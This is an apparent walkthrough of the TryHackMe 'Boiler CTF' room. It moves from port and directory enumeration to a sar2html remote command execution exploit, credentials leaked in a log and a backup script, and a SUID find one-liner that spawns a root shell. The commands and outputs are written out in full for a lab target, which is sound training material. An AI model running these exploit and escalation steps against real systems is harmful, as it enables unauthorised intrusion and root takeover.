12 Oct 2025 5 min read

TryHackMe Boiler CTF Writeup: sar2html RCE to SUID find Root

Room Information

Platform: TryHackMe
Room Name: Boiler CTF
Difficulty: Medium
Room Link: https://tryhackme.com/room/boilerctf2
Description: Intermediate level CTF. Just enumerate, you'll get there.

Task 1: Questions #1

Initial Recon

Nmap Full Port Scan

nmap -Pn 10.201.20.25 -T4 -p-

Scan results:

PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
10000/tcp open  snet-sensor-mgmt
55007/tcp open  unknown

Detailed Service Scan

nmap -sV -sC -p 21,80,10000,55007 10.201.20.25 -T4

FTP Anonymous login:

ftp 10.201.20.25
Name: Anonymous
Password: (just press Enter)

List hidden files:

ftp> ls -a
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 .
drwxr-xr-x    2 ftp      ftp          4096 Aug 22  2019 ..
-rw-r--r--    1 ftp      ftp            74 Aug 21  2019 .info.txt

Download and view the file:

ftp> get .info.txt
ftp> exit

cat .info.txt
# Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl!

This is ROT13-encoded. Decoded, it reads:

Just wanted to see if you find it. Lol. Remember: Enumeration is the key!

Answer: txt

Q2: What is on the highest port?

From the nmap scan results, the highest port is 55007.

Answer: 55007

Q3: What's running on port 10000?

nmap -sV -p 10000 10.201.20.25

Or visit it in a browser:

http://10.201.20.25:10000

It turns out to be a Webmin service.

Answer: webmin

Q4: Can you exploit the service running on that port? (yay/nay answer)

I tried to exploit the Webmin service, but couldn't pull it off. The real way in lies with the other services.

Answer: nay

Q5: What's CMS can you access?

Web Directory Enumeration

First, visit the HTTP service (port 80):

http://10.201.20.25

I found a Joomla CMS, then ran directory enumeration with gobuster:

gobuster dir -u http://10.201.20.25/joomla/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

Enumeration results (some of the key directories):

/_archive             (Status: 301) [--> http://10.201.20.25/joomla/_archive/]
/_database            (Status: 301) [--> http://10.201.20.25/joomla/_database/]
/_files               (Status: 301) [--> http://10.201.20.25/joomla/_files/]
/_test                (Status: 301) [--> http://10.201.20.25/joomla/_test/]    ← important!
/administrator        (Status: 301) [--> http://10.201.20.25/joomla/administrator/]
/components           (Status: 301) [--> http://10.201.20.25/joomla/components/]
/images               (Status: 301) [--> http://10.201.20.25/joomla/images/]
...

Finding sar2html

Visit the _test directory:

http://10.201.20.25/joomla/_test/

Inside is a tool called sar2html:

http://10.201.20.25/joomla/_test/index.php

Key points:

This is not a standard Joomla installation
The _test directory contains dev/test tooling
sar2html is a third-party tool that may be vulnerable

Answer: sar2html

Important tip: remember to enumerate! Running thorough directory scans with tools like gobuster, dirb, or ffuf is the key to uncovering hidden functionality and potential attack surface.

Q6: Keep enumerating, you'll know when you find it.

This question needs no answer; it's just a hint to keep enumerating.

Answer: No answer needed

Q7: The interesting file name in the folder?

Hunting for a sar2html Exploit

searchsploit sar2html

Results:

sar2html 3.2.1 - 'plot' Remote Code Execution    | php/webapps/49344.py
Sar2HTML 3.2.1 - Remote Command Execution        | php/webapps/47204.txt

Download and Run the Exploit

searchsploit -m 49344
python 49344.py

Run a command:

Enter The url => http://10.201.20.25/joomla/_test/index.php
Command => ls

Output:

HPUX
Linux
SunOS
index.php
log.txt      ← an interesting file!
sar2html
sarFILE

View log.txt:

Command => cat log.txt

Contents:

Aug 20 11:16:26 parrot sshd[2443]: Server listening on 0.0.0.0 port 22.
Aug 20 11:16:26 parrot sshd[2443]: Server listening on :: port 22.
Aug 20 11:16:35 parrot sshd[2451]: Accepted password for basterd from 10.1.1.1 port 49824 ssh2 #pass: superduperp@$$
Aug 20 11:16:35 parrot sshd[2451]: pam_unix(sshd:session): session opened for user pentest by (uid=0)
Aug 20 11:16:36 parrot sshd[2466]: Received disconnect from 10.10.170.50 port 49824:11: disconnected by user
Aug 20 11:16:36 parrot sshd[2466]: Disconnected from user pentest 10.10.170.50 port 49824
Aug 20 11:16:36 parrot sshd[2451]: pam_unix(sshd:session): session closed for user pentest
Aug 20 12:24:38 parrot sshd[2443]: Received signal 15; terminating.

Credentials found:

Username: basterd
Password: superduperp@$$

Answer: log.txt

Task 2: Questions #2

Log In with the basterd Credentials

ssh [email protected]
Password: superduperp@$$

After logging in successfully, keep enumerating on the system.

Q1: Where was the other users pass stored (no extension, just the name)?

In basterd's home directory (or elsewhere), I found a backup script containing another user's password.

Snippet of the script:

REMOTE=1.2.3.4
SOURCE=/home/stoner
TARGET=/usr/local/backup
LOG=/home/stoner/bck.log
USER=stoner
#superduperp@$$no1knows     ← the password is in the comment!

Second set of credentials found:

Username: stoner
Password: superduperp@$$no1knows

Answer: backup

Q2: user.txt

ssh [email protected]
Password: superduperp@$$no1knows

Find the flag:

stoner@Vulnerable:~$ ls -a
.  ..  .cache  .nano  .secret

stoner@Vulnerable:~$ cat .secret
Redacted

Answer: Redacted

Q3: What did you exploit to get the privileged user?

Privilege Escalation Enumeration

Check sudo privileges:

sudo -l

Output:

User stoner may run the following commands on Vulnerable:
    (root) NOPASSWD: /NotThisTime/MessinWithYa

This is a fake sudo privilege and can't be exploited.

Find SUID binaries:

find / -perm -4000 -type f 2>/dev/null

Key finding:

/usr/bin/find      ← find with the SUID bit set!

Privilege Escalation via SUID find

/usr/bin/find . -exec /bin/sh -p \; -quit

Escalation successful:

# whoami
root

# id
uid=1000(stoner) gid=1000(stoner) euid=0(root) groups=1000(stoner),...

Answer: find

Q4: root.txt

# cat /root/root.txt
Redacted

Answer: Redacted

Technical Highlights

1. Enumeration Is the Key

FTP anonymous login revealed a hidden file (.info.txt)
Web directory enumeration revealed the Joomla CMS
Filesystem enumeration revealed the backup script and the SUID binary

2. Exploitation

sar2html 3.2.1 RCE (CVE-2019-15949)
- Remote command execution via the plot parameter
- Used this vulnerability to read the sensitive file log.txt

3. Privilege Escalation

SUID find privesc
- The find binary has the SUID bit set
- Used the -exec parameter together with /bin/sh -p to get a root shell

Lessons Learned

This CTF is a perfect illustration of the phrase "Enumeration is the key" — every stage demands careful enumeration:

Port and service enumeration reveals the attack surface
Web enumeration finds the vulnerable CMS
Filesystem enumeration finds credentials and the privesc path

Getting root through a clever abuse of SUID find proves just how powerful the fundamentals can be in a real engagement.

One last note — here are the rabbit holes and hints you'll run into on this box:

robots.txt: that string, once decoded, gives you the MD5 of "kidding" (first binary-coded decimal, then base64)
/joomla/_database: you get Lwuv oguukpi ctqwpf. Decode it with ROT.

↑↓	↑↓
[A-Z]+2	Just messing around